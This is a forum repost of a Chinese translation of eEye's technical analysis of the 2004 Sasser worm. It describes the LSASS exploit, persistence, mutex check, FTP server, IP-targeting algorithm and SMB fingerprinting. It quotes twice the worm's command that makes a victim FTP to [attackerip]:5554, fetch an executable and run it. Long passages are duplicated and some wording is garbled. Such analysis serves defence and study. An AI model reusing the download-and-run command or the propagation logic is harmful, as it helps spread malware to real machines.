[翻譯]震盪波蠕蟲技術分析(振盪波蠕蟲技術分析)

[翻譯]震盪波蠕蟲技術分析(振盪波蠕蟲技術分析)

本帖被 EvilOctal 從 論壇原創{ Original Paper } 移動到本區(2007-03-19)
文章翻譯:冰血封情 [E.S.T] 和 aawq
信息來源:邪惡八進制信息安全團隊([url]www.eviloctal.com[/url]

注意:謹以此文章獻給我的父親和母親

拙筆正文:
震盪波 蠕蟲技術分析

發佈日期:
May 1, 2004

安全等級:


發佈公司:
Microsoft

受影響的系統:
Windows 2000
Windows 2003 Server
Windows XP

技術描述:
2004年4月30日發現的Sasser(震盪波)LSASS蠕蟲病毒是一款使用Visual C語言編寫的自身執行傳播的病毒。
它主要針對eEye安全小組發現的Microsoft LSA緩衝區溢出漏洞進行***,該漏洞Microsoft公司已經於2004年4月13日發佈了安全修補程序。與去年八月的MSBlaster(衝擊波)RPC DCOM蠕蟲相似,Sasser使用了一個公開的LSA緩衝區溢出漏洞的***代碼去***並試圖獲得受害主機的一個命令行下的shell。
一旦連接並獲得shell,蠕蟲會指示計算機系統到另外一個指定的FTP服務器上下載一個可執行的病毒體並執行拷貝任務。

Sasser蠕蟲所使用的***是houseofdabus***編寫的溢出***代碼,該***代碼經測試是針對Windows 2000 Professional,Windows 2000 Server,and Windows XP Professional等操作系統的英文和俄文版的操作系統。我們已經發現該溢出***代碼在針對日文版的Windows 2000測試中失敗,那麼很可能其他的語言版本的操作系統受到該代碼的***威脅也很小,雖然一次針對存在安全隱患的主機的***可能會造成LSASS服務中指並且系統重新啓動但是它並沒有有成功。由於蠕蟲使用的***代碼本身的缺陷,

它只能影響到Windows XP和一些特定版本的Windows 2000 Professional。

目前沒有任何特徵表明除了傳播外該病毒還有什麼其他破壞性(給受害系統帶來副作用)。爲了確保病毒體在系統重啓能構再次被執行,一個新的病毒體Sasser會把他自己拷貝到當前操作系統的系統根目錄(\WINDOWS或者\WINNT)並且在註冊表中添加到如下鍵值:
HKEY_LOCAL_MACHINE\
SOFTWARE\
Microsoft\
Windows\
CurrentVersion\
Run

小知識:
Malware:惡性產物
惡性產物一般統稱指一些不在預期內、惡性程序碼、手機碼如:病毒、特洛依***程序、電腦蠕蟲、或是惡作劇程序等。
Mutex:互斥體
廣泛地應用在多線程編程中。

這是malware在啓動時候執行自己的惡意程序的經典用法。在感染完成後如果該計算機已經被該病毒感染過,這個新感染的病毒體會通過一個名爲Jobaka3l的互斥體檢測到並立刻停止感染。如果病毒實體是第一次感染該計算機,它將打開一個使用TCP端口5554的FTP並且創建128個線程開始無限傳播循環。傳播過程中,病毒會每3秒就調用AbortSystemShutdown API函數來保護病毒的後續感染工作。

非常簡單,Sasser僅挑選隨即的IP地址進行掃描和***。當感染了該網段的某臺主機後(它不會掃描127.0.0.1,10.x.x.x,172.[16-31].x.x,192.168.x.x和169.254.x.xIP的計算機)病毒會隨機將嘗試***的範圍擴展到部分或者是整個網段。任何一次嘗試中,大概有52%的機率IP地址是完全隨機的,其中25%的機率IP地址的前16個字節將和本地IP相同。 (最後8個字節隨機),餘下23%的機率是本地IP的前面8個字節將被使用(剩下的24個字節隨機)。 隨機的8個字節將在0和254隨機通過特殊的函數產生。

蠕蟲會嘗試連接隨機產生的IP地址的計算機系統TCP端口445,如果成功,病毒將發出一系列的數據包刺探對方主機的SMB Banner以便根據這些信息確認對方所運行的Windows系統版本。由於Windows 2000 Professional和Windows 2000 Server的banners是一樣的,病毒回採用houseofdabus的***代碼嘗試所有的2000系統,因此縮小了病毒感染的成功率。一旦操作系統的版本已經選定,Sasser蠕蟲將發送LSA***代碼並且嘗試連接TCP端口9996以獲得命令行下的shell。如果成功,病毒會在受害的計算機上執行如下命令去下載並且運行蠕蟲的可執行文件。
host:

echo off
echo open [attackerip] 5554>>cmd.ftp
echo anonymous>>cmd.ftp
echo user
echo bin>>cmd.ftp
echo get [random]_up.exe>>cmd.ftp
echo bye>>cmd.ftp
echo on
ftp -s:cmd.ftp
[random]_up.exe
echo off
del cmd.ftp
echo on

以上一系列的命令建立了一個腳本,以便連接到已經受害的主機(用已經受害的系統IP替[attackerip]參數) 顯得5554端口,登錄後下載病毒體,然後執行病毒並且刪除剛纔創建的腳本文件。如果受害者之前並沒有被感染,那麼這個Sasser病毒將執行後以該主機爲基礎感染其他的計算機。

如下是病毒感染的一個大概流程:

一、主要
A、用GetTickCount() 汗水查找隨機網絡主機。
B、以avserve.exe爲文件名拷貝自身到系統目錄。
C、在註冊表如下鍵建立一個avserve.exe爲鍵值名的子鍵。

HKEY_LOCAL_MACHINE\
SOFTWARE\
Microsoft\
Windows\
CurrentVersion\Run

將病毒路徑指向系統目錄。
D、初始化Winsock v1.1
E、嘗試創建一個名爲Jobaka3l的互斥體,如果互斥體存在就終止自己(意味者計算機已經被感染)。
F、開啓FTP服務器線程。
G、開啓128支感染限程。
H、啓動無限循環,每3秒鐘調用AbortSystemShutdown API函數一次(這樣用於防止當病毒傳染成功後LSASS終端造成的系統重新啓動,或者是二次感染造成的重新啓動)。

二、FTP服務器線程
A、打開5554端口監聽
B、激活FTP連接

三、FTP會話線程
A、發出220 OK\n作爲FTP的標識。
B、輸入一個命令行處理循環
1、從客戶端接收1KB信息
a、如果連接正常關閉,命令行將解釋成空字符。
b、如果連接被重置,最後收到的數據將被處理(如果之前沒受到任何信息將丟棄)。

接原翻譯作者冰血的
如果命令中含有"USER","331 OK\n"響應發出並且循環繼續
如果命令中含有"PASS","230 OK\n"響應發出並且循環繼續
如果命令中含有"PORT":
在命令符中的第四個字符後的符號就被拷貝到一個可以容納132個字符的緩衝區中(這就表明一個基於棧緩衝益處脆弱的危險)
這些參數是以標記的形式給出,用逗號分隔,最多可以有6個,每個轉換成32位的整形(前四個是用於要連接的IP地址後2個給出高低位的TCP端口)
如果提供的參數少於6個,則沒有給出的參數從垃圾箱給出或用從這次通話中最後的那次提供的端口
IP地址在一個40個字符大小的緩衝中作爲字符串描述的(沒有緩衝益處的可能)
"200 OK\n"響應發出並且循環繼續
如果命令中含有 "RETR":
一個基於IP地址的TCP連接就建立起來,同時端口載入到最後那次的"PORT"命令中(如果沒有給出"PORT"命

令就用一個無用的IP和端口)
執行的病毒在某個時間通過數據連接發出一個字節,直到文件都到達然後關掉數據連接。
"226 OK\n"響應通過控制連接發送並且循環繼續
如果命令符中含有"QUIT",則關閉連接但是循環卻還在繼續中
如果命令符中不包含"USER", "PASS", "PORT", "RETR", or "QUIT" 這些子串,
"226 OK\n" 響應發出並且循環繼續。
在處理完一個命令後,如果連接關閉則結束循環或者重置優先級好接收其他命令
終止線程
IV線程蔓延
進入一個無限繁殖循環來獲取感染的主機的IP地址表並且選擇那些更象是在internet佈線上的
127.0.0.1, 10.x.x.x, 172.[16-31].x.x, 192.168.x.x, and 169.254.x.x將被忽略,因爲他們是基於RFC 1918的,要不然的話專用的那些首先不匹配的IP地址將被認爲是已經被感染的主機的"external"地址
如果所有的IP地址都是非佈線的,那麼位於表單後面的IP地址就被隨機的全部或部分選擇用語***
IP地址由完全隨機的產生有52% (16/31)的可能性
前2位從被感染的主機IP地址獲得而後2位由隨機取有25% (15/31 * 16/31)的可能性
第一位從被感染的主機IP地址獲得而後3位由隨機取有23% (15/31 * 15/31)可能性
隨機產生的位是由僞隨機生成產生的在0到254之間的數,包括用公式( ((seed = ((seed * 343FDh) +

279EC3h)) >> 16) & 7FFFh )生成--典型的用在此公式中的加數是269EC3h,而不是279EC3h
一系列的SMB包通過TCP/445發送的目標用來找回SMB banner
如果banner包含子串"5.0",則目標主機的OS可能是Windows 2000 Professional
如果banner包含子串"5.1",則目標主機的OS可能是Windows XP Professional
如果沒有包含這兩個子串,則目標主機的OS可能是Windows 2000 server;

如果命令中含有"USER","331 OK\n"響應發出並且循環繼續
如果命令中含有"PASS","230 OK\n"響應發出並且循環繼續
如果命令中含有"PORT":
在命令符中的第四個字符後的符號就被拷貝到一個可以容納132個字符的緩衝區中(這就表明一個基於棧緩

衝益處脆弱的危險)
這些參數是以標記的形式給出,用逗號分隔,最多可以有6個,每個轉換成32位的整形(前四個是用於要連

接的IP地址後2個給出高低位的TCP端口)
如果提供的參數少於6個,則沒有給出的參數從垃圾箱給出或用從這次通話中最後的那次提供的端口
IP地址在一個40個字符大小的緩衝中作爲字符串描述的(沒有緩衝益處的可能)
"200 OK\n"響應發出並且循環繼續
如果命令中含有 "RETR":
一個基於IP地址的TCP連接就建立起來,同時端口載入到最後那次的"PORT"命令中(如果沒有給出"PORT"命

令就用一個無用的IP和端口)
執行的病毒在某個時間通過數據連接發出一個字節,直到文件都到達然後關掉數據連接。
"226 OK\n"響應通過控制連接發送並且循環繼續
如果命令符中含有"QUIT",則關閉連接但是循環卻還在繼續中
如果命令符中不包含"USER", "PASS", "PORT", "RETR", or "QUIT" 這些子串,
"226 OK\n" 響應發出並且循環繼續。
在處理完一個命令後,如果連接關閉則結束循環或者重置優先級好接收其他命令
終止線程
IV線程蔓延
進入一個無限繁殖循環來獲取感染的主機的IP地址表並且選擇那些更象是在internet佈線上的127.0.0.1, 10.x.x.x, 172.[16-31].x.x, 192.168.x.x, and 169.254.x.x將被忽略,因爲他們是基於RFC 1918的,要不然的話專用的那些首先不匹配的IP地址將被認爲是已經被感染的主機的"external"地址
如果所有的IP地址都是非佈線的,那麼位於表單後面的IP地址就被隨機的全部或部分選擇用語***IP地址由完全隨機的產生有52% (16/31)的可能性
前2位從被感染的主機IP地址獲得而後2位由隨機取有25% (15/31 * 16/31)的可能性
第一位從被感染的主機IP地址獲得而後3位由隨機取有23% (15/31 * 15/31)可能性
隨機產生的位是由僞隨機生成產生的在0到254之間的數,包括用公式( ((seed = ((seed * 343FDh) + 279EC3h)) >> 16) & 7FFFh )生成--典型的用在此公式中的加數是269EC3h,而不是279EC3h
一系列的SMB包通過TCP/445發送的目標用來找回SMB banner
如果banner包含子串"5.0",則目標主機的OS可能是Windows 2000 Professional
如果banner包含子串"5.1",則目標主機的OS可能是Windows XP Professional
如果沒有包含這兩個子串,則目標主機的OS可能是Windows 2000 server;
這樣的邏輯常常造成將Windows 2000 server誤以爲是Windows 2000 Professional
這是由於Windows 2000 Professional和Windows 2000 server的SMB banners(注:SMB=server message block)的區別不大
如果沒有找到banners,目標主機就回被跳過
發送兩次經過加殼的由"houseofdabus" 編寫的LSASS 服務代碼(注::exploit翻譯代碼嗎?)到目標主機上 ,這樣做是爲了將一個SYSTEM命令的shell附在端口TCP/9996
已經發現在一些國家語言的Windows XP版本上起作用,而在基於這些國家語言的Windows 2000版本卻不起作用(例如:日本版的Windows XP Professional易感染而Windows 2000 Professional就不會)。只有英

文版了俄羅斯版被開發着確定
發送一個***命令到目標主機上
創建一個TCP/IP socket並且設定收到的時間在5秒內
嘗試通過端口TCP/9996來連接主機,如果連接失敗就終止***
通過在命令行中以下列方式插入襲擊主機的IP地址和隨機產生的數字(0..32767)::
echo off&echo open [attackerip] 5554>>cmd.ftp&
echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&
echo get [random]_up.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&
ftp -s:cmd.ftp&[random]_up.exe&echo off&del cmd.ftp&echo on\n

用一次一個字符的方式將命令發送到目標主機
休眠1秒鐘後斷開
休眠250ms則繼續進行繁殖循環

保護::
Retina Network Security Scanner(網絡安全掃描器)已經更新的版本能夠發現這個弱點。

Credit:
詳細分析:Yuji Ukai and Derek Soeder

相關連接:
Retina Network Security Scanner - Free 15 Day Trial [url]http://www.eeye.com/html/Products/Retina/download.html[/url]

////////////////////下面的不用翻譯了吧
Copyright © 1998-2004 eEye Digital Security
Permission is hereby granted for the redistribution of this alert electronically. It is not

to be edited in any way without express consent of eEye. If you wish to reprint the whole or

any part of this alert in any other medium excluding electronic medium, please email

[email][email protected][/email] for permission.

Disclaimer
The information within this paper may change without notice. Use of this information

constitutes acceptance for use in an AS IS condition. There are no warranties, implied or

express, with regard to this information. In no event shall the author be liable for any

direct or indirect damages whatsoever arising out of or in connection with the use or spread

of this information. Any use of this information is at the user's own risk.

Feedback
Please send suggestions, updates, and comments to:

eEye Digital Security
[url]http://www.eEye.com[/url]
[email][email protected][/email]


灌水廣告:
——文章原創由 中國暗域網絡 及 邪惡八進制 冰血封情<EvilOctal>
——Be powered by Hackway Power of Cn & EvilOctal Security Group EvilOctal
——歡迎訪問 [url]www.HackWay.net[/url] & [url]www.EvilOctal.com[/url]


[ 此貼被EvilOctal在2005-12-30 01:17重新編輯 ]
 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章